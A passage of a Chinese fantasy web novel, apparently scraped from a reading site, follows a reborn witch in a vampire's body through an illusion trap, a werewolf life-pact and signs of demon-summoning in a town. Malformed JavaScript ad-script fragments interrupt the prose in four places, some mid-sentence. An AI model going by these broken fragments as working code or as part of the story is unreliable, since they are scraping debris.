魔力完全滞涩,时不时从灵魂深处传来的阵痛,阿卡莎正承受着灵魂失语的巨大风险,但她发誓,这不是她向瑟洛出卖灵魂的理由。 她一无所知,包括那三枚硬币的事。 人们都说,邪恶女巫死前将大部分魔力转移到了三枚硬币上,得到硬币者,可以获得至高无上的力量。更有些黑暗势力的崇拜者,相信那三枚硬币可以复活女巫,使其成为自己的附属。 她本是恐怖事件的主人公,事实上,她更像个一头雾水的旁观者,听着人们诉说她的故事,只觉得陌生,她更不知道眼前的精灵为何要找那些硬币,甚至要无数人赌上灵魂去为其寻找。 瑟洛是个聪明的商人,无论如何不会让自己亏损,而且,抠门且恶趣味十足。 “庞克街334号巷口有我的骨船,运气 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好的话,既可以出城,还可以找到三枚硬币的线索,怎么样,要去试试吗。” “当然,您也可以自己想办法出城。” “本店也有直达各地的传送阵,价格嘛,您知道的,客人,其实您拥有的东西还有很多,倒是可以坐下来好好考虑。” 精灵身上那宽大的紫色斗篷落地,露出背后晶莹透亮的翅膀,吐出的烟雾散去,瑟洛坐在散发着奇异药草香的书架上方,交叠的双腿慵懒地垂下,灰色纱袍贴着身体,勾勒出诱人的轮廓。 一把椅子立刻从远处移至阿卡莎面前,她只是低着头,用手摩挲着脖子上的契印。 “我见过那艘骨船,可以试试。”她说。 “客人,您总会做出令人满意的选择,这样很好。” 说完话,阿卡莎依旧站在原地,像是在等着确认什么。 “请别担心,我的小吸血鬼,您身上有我的隐蔽咒,阿尔曼德暂时找不到您的踪迹了。” 瑟洛贴心地补充道,身后的店门也在此刻缓缓朝外打开。 “需要指路吗,我可以让阿兹拉尔带您去。” “谢谢您,我想我自己可以。”阿卡莎说。 在话说完之后,阿卡莎向门外迈去。身后屋顶处则冒出一大片笑声,像是被压抑了许久喷薄而出的洪水。 “居然还说谢谢,吸血鬼族什么时候选这种傻子做新娘了。” “真有人信那东西的鬼话啊,哈哈哈。” “我边上的笼子正空着呢,伙计,真是迫不及待了。” “….” 门被重重地关上了,那些声音被隔绝在屋内,戛然而止。 阿卡莎无奈地叹了口气,走进无边的夜色里。 真是出息了,地狱之门都被你打开了,两千年前的阿卡莎·莫温。 思绪转了一大圈,最后又回到脚下。 温柔的月色落在身上,没人比它更懂怎么叫人振作起来。 至少暂时不用担心什么吸血鬼新娘的事了,阿卡莎这么想着。在路边捡了只破布麻袋,边走边抓了不少硕大的肥鼠,它们挤在袋子里,豆大的眼睛闪着红光,奋力地蠕动着。 女巫拎着袋子,左右晃荡了一路,企图把乱动的灰毛鼠们甩晕过去。 河水拍打石岸的声音从不远处传来,阿卡莎把麻袋扛在肩上,避过人群,凭着记忆拐入巷口,鼻尖传来淡淡的干涸的血腥味,那是她之前无意中擦在墙上的。 晚间湖水异常的平静,洁白如瓷的小船被拴在岸边。阿卡莎先把肩上打好结的麻袋丢进船中,骨船只微微轻晃,看起来没有任何异样。 瑟洛在船上施了咒术,让整艘船上溢满了亡灵的气息。这气息裹着活人,仿佛进入了不同于骸河的第二空间。 在船行出不到三英尺的距离,阿卡莎敏锐地察觉到了变化,咒术的气息渐弱,船身不断下沉。这法术阿卡莎见过,在弥斯克的地下城里,曾经有一个瘦弱濒死的孩子,它的法术也能捆缚死灵的气息,使之聚集在某处一段时间。 那白雾似的气息持续了一刻钟,散去时,那孩子也不见踪影。 至于现在,这咒术能撑多久,看起来不容乐观。阿卡莎抓出两只老鼠充饥,喝完血后又把剩下的尸体向船外抛去,发出些奇怪的声音。 船上空无一物,只有令人发晕的大片白色。试探性的,女巫伸手触向水面,果然,一根食指的深度,就触底了。 5. 生命契约 如同置身于海浪翻滚的狂风暴雨,眼前的世界不停地翻转。一股巨大的压力,如同熔岩火山,直直地朝阿卡莎扑来。 在厄瑞波斯之门打开之前,人们所见的只是阴影,而非真正的黑暗。 地狱迎来了丰收,而神只是默不作声。 光明与黑暗的界限是那么清晰,好似把人硬生生劈成两半。 恶魔尽情地蛊惑着人类,堕落,罪恶,狂热。他们散播疫病,制造杀戮,在尸山血海中放肆大笑。 阿卡莎回到了故乡辛特拉,那里寸草不生,几乎被死亡和黑暗吞噬殆尽。 人们用愤恨且恐惧的眼神注视着她,失去孩子的妇人狰狞地大叫,眼眶里流出两道血泪来。 “邪恶的女巫,你的灵魂应该万劫不复。” “你为什么要这么做,阿卡莎。” “你会付出代价的,神会惩罚你,让你求死不能。” “........” 一张张熟悉的面孔出现在眼前,他们大喊着阿卡莎的名字,不停地咒骂她。 “不是的,我没有....” 阿卡莎低头,只看到自己满手的鲜血,还有手腕处代表衰竭的疤痕。那是使用了禁忌力量才会出现的反噬。 她发觉,自己无法做到完全否认,一瞬间,记忆缺失带来的恐慌到达了极点。她颤抖着手,再无法继续说下去。 阿卡莎强撑着最后一丝理智,反复告诉自己正身处幻境。 那东西正在放大心中的恐惧,并以此为力量增强幻术,让人越陷越深,直到迷失灵魂。 下一秒,阿卡莎感到钻心的痛,连耳边也响起嗡鸣声。利刃刺破皮肉,捅进心脏。她看不清那人的脸。 “你死了,她就会回来了。”那人说。 真切的疼痛令她窒息,只有冒上喉咙的鲜血,止不住地从口中溢出。 阿卡莎倒在地上,眼前逐渐涣散。人们立在她周围,脸上却空白一片,没有五官。 意识混沌坠落之际,她想到了什么,开始尝试着催动咒语,毫无滞涩的,火焰逐渐从手心燃起。 除却开始时转瞬即逝的灼痛,却是没有温度的。 镇上唯一的法师曾经告诉她,一切力量的获得和使用,是要承受失去的。可能是立刻,更多的是,终有一天。 所以当那天到来的时候,不必感到意外。 而火焰系的法师,要承受灼烧之痛。自然永远是公平的,想使用它们的力量,就要忍受它们的温度。 幻境产生了裂缝,当人们发现它并利用它的时候。 真相,她要找到真相,找回失落的灵魂。 在那之前,她不能被自己心中的恐惧击倒。 火焰燃尽了一切,包括被困住的阿卡莎的尸体。 她已经重生,她相信自己,不论是两千年前,还是现在。 火焰绽放在瓶中,像美丽的烟花。瑟洛沉默不语,片刻后,它笑着后仰,躺倒在金丝木的柜子上,捏着瓶子的力道却重了几分。 “Sonambulo(幻境的名字).......” 幻境破碎了,阿卡莎猛地吸了口气,从船上坐起。汗液早已浸湿了衣襟,黏在细瘦的锁骨处。 整艘船已几乎透明,像即将融化的冰一样。船底透上来漆黑的河水,还有游过的卜比尔肉脑袋上密密麻麻的小眼睛。 幻境破了,船也要沉了,线索在哪? 阿卡莎一边将老鼠的尸体扔向远处,吸引着卜比尔们的注意。一边仔细回想上船以来的细节,幻境中她并不是全无知觉,被刺伤的痛,那火焰刚被召出时的灼烧之感,但那温度消失的诡异,随之她的意识也逐渐清明。但总不可能是那精灵看她可怜,在暗中助她脱困吧。 船底破了个洞,一只卜比尔立刻伸出发腥的舌头向着缺口处游来,刚把它那丑陋的脑袋伸到洞口处,“噗——”地一声,那船上透过来的光被猛地挡住,只剩下一串气泡荡漾开来。卜比尔愣了愣,抬头凶恶地龇了龇牙,船上的少女正抓着一只肥硕的老鼠,快准恨地塞进了那缺口。 卜比尔脑袋上的每一只眼睛都在用力地瞪着,一颗颗眼球向外凸起,伸出舌头试图将那洞口弄得更大。 尽管堵住了一些洞,船里还是进了水,阿卡莎用布袋挡了那些漫上来的黑色液体,不慌不忙地坐在角落。 “这次的小新娘还真有趣。” “就是可惜,今天我累了,不想玩了。” 瑟洛说着,眼睛却一眨不眨地盯着手中的瓶子。 “dejiavu” 咒语脱口而出的瞬间,船上的阿卡莎似有所感地抬头,霎时间只觉周身一凉,一瞬间的失重感袭来,像是要往骸河里坠去。 黑水漫过脸颊,阿卡莎深吸了口气,预想中的窒息感却没有到来。瑟洛静静地看着手里微微颤动的瓶子,一股柔和的白光正从中心溢出,却又像雾似的朦胧地飘散开来。 “kilig,holaquetal.” “蝴蝶,好久不见。”飘进耳边的维萨语说道。 两千年前,阿卡莎去过很多地方,也热衷学习各种各样的精灵语。维萨族是以空间秘术闻名的族群,崇拜月亮与河水。说来奇怪的是,阿卡莎倒是忘记了自己怎么学会的维萨语,因为早在她开始游历之前,维萨族便消亡了,带着那些美丽的语言和神秘的文化也一同消亡,姆切鲁山从此只余苍凉的月光。 “我好像又忘了什么”,这种感觉真是一点都不陌生。 “sz?vem” 这是她从未听过的咒语,没等阿卡莎组织好语言,刺眼的光便忽地钻入了她的身体。一时间所有声音离她远处,前所未有的静谧包裹着身体,耳边隐隐传来流水汩汩的声音,仿佛河水汇入大海一般自然,像是这股力量本就属于她。 “Sonambulo上有附归,几千年了,我居然现在才知道。” 精灵眯着眼睛,托腮看着眼前的景象,脸上的表情意味不明。 那家伙今日倒是难得的耐心,萨拉布叹了口气。 片刻后,白光消融,少女的眼睛动了动,“我,守约了,kilig......” 许是太久没说话,萨拉布有些吐字艰难。 “再见。” 飘在空中的人形散去,化成了如水的细流落入瓶中。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那瓶子跟着瑟洛眨眼间便消失不见。 寂静过后,迟来的落水来得猝不及防,卜比尔们一拥而上,兴奋地攀缠着阿卡莎的四肢。 灵魂深处传来剧烈的钝痛,某一瞬间阿卡莎感到五感通明,四肢间流淌着熟悉的力量,但仅仅维持了片刻那感觉便消失了。那股力量像是融入了她的身体,她却并不知道具体的用处。 漆黑的水中,阿卡莎隐约看见自己的左手无名指上正闪烁着温润的光亮。 这个符印是...... 耳边隐约传来另一道心跳,重合似的交织,那声音越来越响。 直到。 漩涡状的传送法阵忽然凭空出现,平行于湖面之上,光芒照得卜比尔们脑袋上的小眼睛眨个不停,蒙面少年从中探出半个身子,灰色斗篷被阵眼的风卷起,黑色的短发间,藏着对毛茸茸的兽耳。 “把手给我。”里德喊道。 先前没怎么挣扎的阿卡莎这会儿一口咬在抓住她的卜比尔手上,飞快地挣脱,抓住了少年的手。 短暂的黑暗后,阿卡莎闻到了熟悉的落叶气息,折腾了这么久,刚一出阵,她便双腿发软跪倒在地上,好在那是片松软的红泥地,不至于磕的跪都跪不住。 看着手指上那圈仍发着光的繁杂纹样,狼人一族的生命契约,怎么会在她手上。 她的回忆里,自己从没和人缔结过这么重要的契约。 “怎么会,怎么可能,她死了,连灵魂的碎片都不知道在哪?”里德痛苦地看着自己颤抖的手,上面闪烁着一样的发光符印。 “这个契约只认双方的灵魂,可你,身上怎么会有她的东西。”里德扯下自己的面罩,一双兽瞳发红,看着竟有些莫名的委屈。 狼人的生命契约被认为整个族群中最神圣的象征,一旦结成,生死与共,直到双方灵魂都化为灰烬才会解开。而且一般这个契,多用于狼族和自己伴侣之间...... 阿卡莎看着望着自己眼圈通红的漂亮少年,尴尬,无助,有一丝愧疚是怎么回事? “你,你先别伤心,这,我也不是故意的。” 等等,故意,里德一抹眼睛“你是不是用了什么手段,窃取灵魂?吸魂禁术?吸血鬼惯用邪术和阴谋诡计。”说话间全是毫不掩饰的敌意,“毕竟你以后有任何生命危险我都要跟着遭殃,怎么看都是我吃亏,这不是阴谋是什么。” 阿卡莎??? 总不能说自己是两千年前那个干尽坏事的黑女巫重生归来吧,失去了一部分记忆不说,现在连本人也不清楚发生过什么。 看这家伙的脑回路,她要是现在自爆,指不定到时候会扯上什么惊天大阴谋了。 可这生命契约不好交代,这么针锋相对下去更是麻烦。 刚刚说灵魂碎片,阿卡莎想起一则真实性不详的古卷。 特定情况下,灵魂之力可以转移,有记载开源时代曾有一巫师,将其灵魂部分转移至濒死的后裔,以此延续其生命。 阿卡莎像是下定了某种决心,跌跌撞撞站起身来,盯着他的眼睛说道, “不可能,我实话告诉你,我是阿卡莎的后裔。” 6. 兹维镇的回忆 里德曾差一点死在在杜瑞科的峡谷里,身上严重的伤让他在很长一段时间里无法再维持人形,那是他第一次见到女巫阿卡莎。 杜瑞科靠近火山,头顶的烈日常常炽热地令人发痛,四处游历的年轻女巫,擅长火系魔法,咒语伴随着落入身体里的碎星,温柔地像北地的雪。 那人不顾他的抗拒,将他带出了峡谷。 “你知道魔法是会说话的吗?”阿卡莎手心里冒出一小团火,欢快地跳动着。 “它说,你很喜欢它。” 他们一起度过了百年的春夏,彼时里德不知道,这之后的,漫长的千年岁月里,他都反反复复徘徊在这百年的记忆里。 那年安提利亚的冬雪,格外的冷。要违背另一个人意愿结生命契约,这是里德找寻了很久的禁术,尽管又会是很长一段时间无法维持人型,他也不在意。 最后,契约成功了。 还没来得及高兴,灵魂被消磨的痛苦只顷刻便侵袭了全身,收到咒术反噬的他尽全力奔向圣地的广场,不远处火光冲天,十字架上,曾经最优秀的火系魔法师,如今全身上下布满灼烧的痕迹,黑色的火映照在眼中,烧的眼睛止不住的疼,愤怒,哀伤,直至无力。 她怎么能死在火中。 再睁眼,他已经被讨伐女巫的人们绑上了木架。 “三......三百年前,我不是,拒绝过你了吗?小家伙” 阿卡莎听着耳边传来的心跳,无奈地说。 里德望着她,喉咙里发出呜呜声,雪落在眼里,化成水濡湿了眼角。 “anamcara.” 她已经快撑不住了,几乎是咒语一出的瞬间,漫天的光亮从体内溢出,烟花般绽放,落下化成了碎片。 里德也在那一刻,发现身体逐渐透明。 辛特拉的海水冲刷着沉重的身体,那里四季如春。 灵魂碎裂,契约断开,甚至人型也恢复了,但他,为什么还活着。 在霍伊牧的秘密树洞里,他看见自己身体里女巫的最后一片灵魂,就是这一片灵魂,拼起了即将碎裂的他的生命。 这下,他连寻死也舍不得了。 本该永远无法.....怎么会在千年之后再次显现。千年之间,他修习火系魔法,感受她曾感受过的炙热,从休谟河的森林向北,绕过杜瑞科火山到沙漠,他总是在树上呆坐着,一封一封写着寄不出去的信。 他不敢再用禁术,生怕反噬会伤及女巫的灵魂。但听闻那些与魔鬼交易换回灵魂的传说,还是会心头一颤。 终于,为了那凭空而出的流言,他决心去找那三枚金币,准确来说,找寻和她相关的一切东西,成为里德存在的意义。 如今,他看着眼前语气坚定的红魔女孩,他无法否认,在这个自称是她的后裔的女孩身上,看见了旧人的影子。里德只是遗憾,在那分别的三百年里,他只是自私的,发了疯似地寻找古老的禁术,对她的故事竟这么一无所知。 一切激动,委屈,杂乱无章的想法被捋平,只剩深深的哀伤沉在眼底,像常年淤积的湖泊。他本该赎罪,为自私赎罪。 “既然契约生效,那到它解开之前,我来保证你的安全。” 阿卡莎看不懂里德眼里的情绪,只是心底隐隐有些钝痛,像是落叶掉在水面,荡起一小圈涟漪。 只是,这句话居然能这么有效。 跟这少年呆一起也好,看起来是个外冷内热的故人。 “谢谢你。”阿卡莎真诚地说。“刚好我们都要找阿卡莎的金币,如果可以同行的话,我会尽力不拖你的后腿。” “自己知道就好。”里德转身跳上树丛,找了个舒服的地方躺下。 阿卡莎背靠着树干坐着打盹,这是她自重生以来睡的第一个好觉。 她睡的很沉,以至于没有察觉到危险逼近的信号。 “醒了?”里德说。 天刚蒙蒙亮,还未苏醒的森林雾气浓郁,周围树影摇动,阿卡莎听到耳边风声呜呜。 “低头。”还没反应过来的阿卡莎下意识把脑袋埋了下去。 下一秒,一道水系魔法从头顶掠过,又擦着肩膀砸在身旁的树枝上,顿时枝叶零落。 “兰克,你这个无耻的小偷,别跑。” 阿卡莎伏在少年背上,转头飞快地朝身后瞄了一眼。 隐约间看见一对尖尖的耳朵,精灵? 自重生以来,每天两眼一睁就是逃,挺好,现在她确实需要大量扎实的逃生技巧。 森林雾气重,怎么跑都是水系魔法占了上风,只是,两人没等来预料中的咒术攻击。身后那人却快速跳上了树干,速度居然跟里德不相上下。 “啧——”少年没忍住蹙眉,往更高的树枝上越去。 这里火元素稀缺,见到日光可能会好些。 “放我下来吧。”阿卡莎突然开口。 “现在?”里德默了半晌,头也不回地说。 “嗯。”女孩点点头。 想着这次好不容易找到珠宝小偷的埃恩,正瞪大双眼盯着穿梭在树丛中的斗篷少年。一个娇小的身影却从天而降,敏捷地挂在了她身上,埃恩刚反应过来稳住身形,脖子上传来被利物刺穿的疼痛感。 居然是只吸血鬼,狡猾的狼人。 前面不远处就是森林的尽头,这么一拖就要来不及了,“嘶——”那吸血鬼消失地倒是快,埃恩黑着脸抹去脖子上流下的血渍。 浅黄色的阳光落在脸上,阿卡莎没有犹豫,利用红魔的速度优势,干脆利落地从树上跳下,地上树影斑驳,没有比这会儿更适合藏身的了。 没了她的负累,里德很快便也消失在了树林中。 感觉被两人耍了一通埃恩站在原地怒骂了两句,最后咬咬牙一路追着进了兹维镇。 阿卡莎从树下的影子里走出来,被刺眼的日光照得向后退了两步,又停住,似有所感地转过身,少年不知何时靠在一旁的树干上,静静地看着她。 “对了,我叫里德,你叫什么名字。” “米勒·维安。”准确来讲,这是这具身体的名字,早已逝去的牧羊女的名字。 “里德,所以你被通缉了吗?你偷了什么?”阿卡莎说。 “一个瓦乎尔族精灵的珠宝。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 阿卡莎依稀记得自己曾在兹维镇呆过一段时间,那是瓦乎尔族精灵们的故乡。兹维镇背靠矿山,盛产各色晶石以及珠宝,精灵们不仅擅长锻造各类实用的器具,也热爱制作精美的首饰。不论四季,只要远方的山上传来瓦乎尔族的号角,连贵族家的千金都会提着裙子跑上街远眺,期待着美丽的宝石。 但是,那些首饰的作用远远不止装饰和讨人欢心,经瓦乎尔族精灵之手的珠宝,可以寄存力量,简单来说,就是可以短暂使用力量主人的某些能力。 “你认识那个精灵吗?” “不认识,但她认识,珠宝的主人,安达利尔。” 安达利尔,好熟悉的名字,这么好的阳光,确是似曾相识。金黄色麦浪般的短发,褐色的小雀斑像落在坎查哈平原上的野花,抱着一束盛放的向日葵向她招手,“阿卡莎,等下个春天再来兹维吧。” 回忆进行到这,再次陷入了模糊,好像还有些什么,黑暗中一闪而过的流星,破碎的红色宝石,到底是什么,记忆又变回了怎么也划不着的火柴,在忽明忽暗间黯淡下去。 “为什么要拿她的珠宝,是和金币有关吗?”阿卡莎抬头看向里德。 后者沉默了许久,意外地没有开口。他能说是因为那个精灵曾经收到过阿卡莎送的珠宝,由于不知道具体是哪个,所以一股脑拿走了一堆这种幼稚的理由吗? “是,我听说这边有关于金币的线索。”最后里德说。 阿卡莎:总感觉哪里有点怪怪的。 “那你见过吗?安达利尔本人。”离那时的约定已经过了两千多年,在黑暗势力肆虐的现在,不用说个人,连种族的灭绝都是寻常。 “见过,远远看见过几眼。”见阿卡莎好奇,里德倒是难得主动,说起了兹维镇。 大约两千年前,地狱之门半开之后,各族精灵几乎都受到了倾轧似的迫害,一时间花草凋敝,资源衰竭。兹维镇也不例外,但不到两百年,瓦乎尔族的精灵们便战胜了黑暗势力,尽管损失惨重,但作为当时少数存活的族群,给予绝望中的人们很大鼓励。 现在的兹维镇不止是瓦乎尔一族的土地了,族长主动收留接纳了不少落难的人们,逃亡的精灵,无家可归的矮人,甚至是臭名昭著的吸血鬼们。 阿卡莎全程只静静地听里德说着,尽管是只言片语,她也感受到了当时地狱降临的惨烈。 曾经她向往的,热爱的,决心去游历的世界,早已经面目全非。 “既然金币的线索在那,我们就去看看。”阿卡莎有种隐隐的预感,兹维镇里,一定会找到什么。 全镇悬赏通缉犯·为了面子扯谎·企图说一大堆转移人注意力·里德叉手望天“好,好啊。” “等等,里德你已经被通缉了。” “哦对。。。”里德说。 “狼人能变换形态的吧,你变成缩小版原型,应该就安全了。”阿卡莎一脸认真地提议。 刚开春没多久,出了落日森林还有些冷。 红色卷发的血族姑娘拖着瘦弱的身子,一瘸一拐地朝小镇的入口处走去,手上还抱了只黑毛小狗。 7. 糟糕的意外 兹维镇最近跑进来一些臭老鼠,珠宝失窃更是大事,所以现在街头巷尾都张贴了那狼人少年的通缉画像。 镇中的护卫队首领,脖子上缠着白色的绷带,阴沉着脸训身后的兵士。 阿卡莎拉了拉身上的斗篷,稍稍加快了脚步。 “慢着,你从哪来的,我怎么看你有些眼熟。” 埃恩伸手拦在了阿卡莎面前,伏下身,眯起眼睛打量了一番。 “我…我是个普通的牧羊女,故乡在拉普塔小镇,被骗吃了制疫人的药,成了红魔,临死前被父母传送到了这里。” 阿卡莎低下头,吸了下鼻子,瘦弱的肩膀微微颤动。 “行了别哭了,找个地方去住。”埃恩叹了口气,拿出几块硬币,塞在阿卡莎手里。 “还有你这狗,死了的话还是早点找个地方埋了。” 阿卡莎激动地埃恩道谢,后者则挥挥手,带着身后的守卫向远处走去。 刚才要不是阿卡莎按着里德的脖子,这家伙估计会蹿起来咬埃恩一口。 “里德,抱歉了,我是怕她认出你的眼睛。” 阿卡莎倒是感觉自己手心都在冒汗,这么毛茸茸,热乎乎的小狼,就在自己怀里。她忍不住想,以前就应该拐一只来养养。 兹维镇上有个很大的孤儿院,戈瑞亚孤儿院,安达利尔就是在那出生的。阿卡莎路过的时候,有些好奇,于是在门口停留了一阵。 “姐姐,这是你养的小狗吗?” “这不是小狗,是狼。”阿卡莎回答道。刚刚里德好像很在意别人把他认成狗。 “狼很可怕的,你不害怕吗姐姐。”精灵的个子才到阿卡莎的膝盖,仰起头皱着眉,一脸严肃地说道。 阿卡莎蹲下身来,刚想解释两句,却发现孤儿院门边小心翼翼地扒着好几个孩子。 “佩斯,快回来。” “别跟陌生人说话。” 那个叫做佩斯的孩子向伙伴们比了个嘘的手势,又转头压低了声音,故作神秘地和阿卡莎说。 “姐姐你知道吗,以前那个黑女巫,也养过一只狼。据说那狼从小是吃人长大的,牙齿又尖又长,还长着三个头呢。” 阿卡莎“。。。”这孩子说的,她养的哪是狼啊,分明是地狱魔兽。 当事狼里德更是满头问号。 “你会被打的,佩斯,回来。”矮人探出脑袋,恨不得冲到门口把佩斯拉回去,却又像是顾忌阿卡莎似的,只能急得在原地跺脚。 “快回去吧,佩斯,是吧,我下次来找你玩。”阿卡莎朝男孩笑笑。 “好。”佩斯转头跑回了门内。 其他孩子则赶紧关上了那两扇厚重的木门,阿卡莎只来得及瞥见门缝中一只惶恐的眼睛,下一秒门就被彻底合上,一点声音也没有了,安静地有些突然。 来的路上,阿卡莎听里德说,安达利尔现在经营着一家珠宝店,大概在西南角的露忒街尽头。 不过阿卡莎倒是没有急着去找人,她打算用埃恩给的银币在露忒街找了家旅馆。这一路上,除了先前碰到的佩斯,别说主动说话了,连问路也没有人愿意搭理她,那些人一对上她的眼睛,便慌张地走开了,像是见到什么可怕的东西。 虽然好像所有人都在躲着她,但身上总感觉黏着从四面八方投来的视线。 陈旧的木质地板,一踩上去便发出吱吱的响声。明明是旅馆,葡萄酒味却浓烈得令人发晕,柜台上像是浸满了什么液体,湿漉漉的,阿卡莎把银币放在了上面,忍不住搓了搓手指。 柜台上趴着个酒鬼,整张脸上都透着红晕,抬起头时,胡子上都还在滴着水。 那人抬起眼皮朝阿卡莎看了眼,将那两枚银币捋走,又拉开抽屉拿出把铜钥匙放到柜台上,阿卡莎刚伸手捏起钥匙,那酒鬼砸吧砸吧嘴,“彭————”地一声,那肥脑袋仿佛毫无支撑力似的砸在了桌子上,连带着身后柜子上的玻璃杯叮叮当当响个不停。 阿卡莎一惊,缩了缩手,看了眼钥匙上的数字,抱着里德往楼上走。 里德一进房间,便跳出阿卡莎的怀抱。 很快,黑发金瞳的少年从隔间走出。 “这里,好像有点不大对劲。”阿卡莎收回看向窗外的目光。 “今夜你留在房间里,别出去。”里德则伸手拉住了粗布窗帘。 “里德,你见过恶魔吗?” “没人见过恶魔,至少,活着的人没有。” “那...唔。”阿卡莎正要开口,嘴里却突然被塞了一块面包。 “你不饿吗,先吃饭。”里德自己则是撕下一块萨草饼,扔进嘴里。 阿卡莎??? 吸血鬼好像不是什么杂食动物。因为一吃人类的食物,就会...... 阿卡莎强忍着把面包yue出来的冲动,同时,一股难以言状的悲伤涌上心头。 之前她最爱吃面包了,涂满树莓果酱的,烤得金黄酥脆的,塞着鱼银草的.....现在在她的食谱中,灰毛死老鼠>以上所有。 女巫将面包从嘴里拿出来,小声说。 “我吃不了,谢谢你。” 里德接过那面包,看着情绪低落的红魔,后知后觉想到了什么。 “如果你不嫌弃,先喝我的。”思索了片刻,里德伸出自己的胳膊。 看着递到眼前结实有力的胳膊,阿卡莎咽了下口水,但很快又移开视线“不,不了,我不饿。” “是不是不好意思下口,没关系 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,我来。”里德这下是铁了心想弥补先前的小过失,从腰间抽出把匕首就要放血。 “等等,你别....”阿卡莎起身要去夺那匕首,门外却突兀地响起一阵敲门声。 “我知道你在里面,开门。”两人停下了动作,埃恩的声音,阿卡莎无声地看向里德的眼睛,点了点头。 她使劲揉了揉眼睛,走到门口,将门打开了条缝。 “您...您怎么来了。”红彤彤的眼眶像一汪清澈的盐湖,向你看来时,又流露出了孩子般的惊喜。 看着那双眼睛,埃恩此刻的心情有些复杂。她收到戈瑞亚孤儿院的信息,说见到一个吸血鬼女孩抱着头狼,她几乎是立刻便想到了那个来自拉普塔镇传送而来的红魔,那时她没仔细看,以为她手上抱着的是条狗。 狼人能自由变换形态这点,她是知道的。更不用说,那时在落日森林里攻击她的,正好是个身形娇小的吸血鬼。 想到这,埃恩心下一沉,直接推开门走了进去。 “休想再蒙骗我,该死的吸血鬼和小偷。” 埃恩突然发难,阿卡莎于是顺势跌坐在了地上。 “那头狼呢?”埃恩将房间里里外外翻了个遍,最后扯开那窗帘,向外探头看去。 “您说我家小黑吗?我已经听您的话把他埋了。”坐在地上的女孩像是想到了什么,眼圈立刻红了起来。 看着阿卡莎可怜巴巴的模样,埃恩烦躁地抓了抓头发,无奈扶额的模样。 “我不能不管,那批珠宝不能丢,要是你在骗我,是要付出很大代价的。埋在哪里,带我去看。” 埃恩快步走到阿卡莎身边,抓住她的胳膊想把她从地上拉起来。 就在那一刻,外面电闪雷鸣,两扇窗户被狂风猛地拍在墙边,哗啦作响,阿卡莎向窗外看去,天空颜色怪异,像她重生的那天一样。 远方突然传来号角声,交织着巫族的铃铛声,一圈圈地在耳边荡开。 埃恩松开了抓她的手,自从听到那声响起,这位护卫队长便露出了痛苦的表情。 “来不及了....”她反复喃喃道。 等埃恩离开,阿卡莎便冲向了窗边。天空掠过形状似龙的生物,乌鸦叫的很大声,街上更是空无一人,顺着狂风席卷的方向,阿卡莎看见一个红紫色的法阵,顿感不妙,等等,那是.....。 里德,阿卡莎想到什么,跃上窗台,攀着上沿,将整个身子探了出去,红瓦房顶上什么也没有。 风把脸刮得生疼,正当阿卡莎朝远处张望时,一根软鞭飞来,牢牢地圈住了她的腰。 两秒后,她落入了一个熟悉的怀抱。 “这里不能再呆了,居然比我想象的严重这么多。”里德说。 8. 奇妙的走向 在雷姆利亚大陆上,没有出现过神,但神,是这个世界的必需品。 魔法来源于存在于自然世界的一草一木,从开源时代起就存在的,森林,河流,山川………人们聆听山谷的回音,咀嚼晒干的药草,感悟火焰和海水的涨落。万物静默,只要你走向它们,它们便会给你想要的一切。 想要学习魔法,除了在学院通过各项测试的系统化学习之外,其他的都是个人修行。按照规定,要拿到女巫的资格证书,也要通过一系列的严格测试。 从熬煮魔药,花式驾驭扫把,到召唤使魔……一切完成的几乎完美,直到最后一项,神的证明。 圣殿之上,阿卡莎虔诚地亲吻圣子坠地的长发,祈求神明的认可。加尔沙手捧圣杯,眼神悲悯。 “抱歉,神,拒绝您的请求。” 这是千年来头一次,各项测试成绩第一的修习者居然被不被神承认,当然,人们在千年后解开了心头的疑惑,纷纷感叹神明的伟大。 为什么人们总是把一切事物归功于神明,从来没有人见过神与恶魔。诅咒,魔法,神谕,禁术……这些所谓神迹,没人能够证明。 我们一生供奉的,付出灵魂信仰的,是什么东西? 不知从什么时候起,阿卡莎仿佛回到了那时的圣殿,她变得嗜酒如命,捧着圣杯一饮而尽, “什么神,你叫它出来和我说话。”银杯落地,眼前的十字架天旋地转。 哎,那十字,真的动了吗? 她看见自己抱着山羊,狂笑着丢进火堆里,“你们猜,世界上有没有烧不死的东西。”火星四溅,火光把人的影子拉的很长,树枝也狂舞起来,跳着古老的舞步。 一个空壳里能生出什么,谁都不知道。灵魂是树上结的果实吗? 是怪物,是空无,是臆想,言辞皆是虚幻 “米勒,米勒,醒醒…..” “米勒是谁….”阿卡莎感受到脸颊上传来温暖的触感,忍不住蹭了蹭。 下巴被人轻轻地固定着,唇边递来什么东西,温热的带着些腥味的液体忽然涌进嘴里,顺着淌过喉间。渴望新鲜的血液,是吸血鬼的本能,何况是惯来挨饿的。 在阿卡莎的眼前,却再次出现了圣杯和酒,红艳艳的葡萄酒,代表堕落的红紫色被盛在了圣器之中,闪烁着的银光散发着诱惑的气息。 另一边,里德扶着阿卡莎的头,怕流入喉咙的液体呛着。伤口处却传来密密麻麻的痒意,他低头,强忍着把手收走的冲动,濡湿滚烫的触感反复侵蚀着那处,简直又痛又痒。 阿卡莎在迷蒙中醒来时,一转头便对上了少年结实的腹肌,自己嘴里还含着什么,啊,手臂。 “醒了?” 里德的声音在头顶响起,阿卡莎整个人僵了片刻,她从少年怀里坐起,半梦半醒地回忆起了什么。 “怎么了,身体还有哪里不舒服?”里德看着背对着他,醒来之后抱着双腿一言不发的女孩,有些担心。 “我没事,谢谢你。”她说。 “这是哪”地上缠满了藤曼,蜿蜒着爬向四周,抬眼间,四面都立着歪歪扭扭的石碑。 “瓦乎尔族的墓地。”里德边说着边缠上绷带。 “兹维镇,为什么会出现召唤恶魔的禁术阵法。” “你认得那阵?”里德转头看向她。 “乌鸦,恶龙,冲天的红光和风潮,这是书上记载的,恶魔即将现世的征兆。”阿卡莎说。 “跟那时在拉普塔的时候一样。”她补充道。 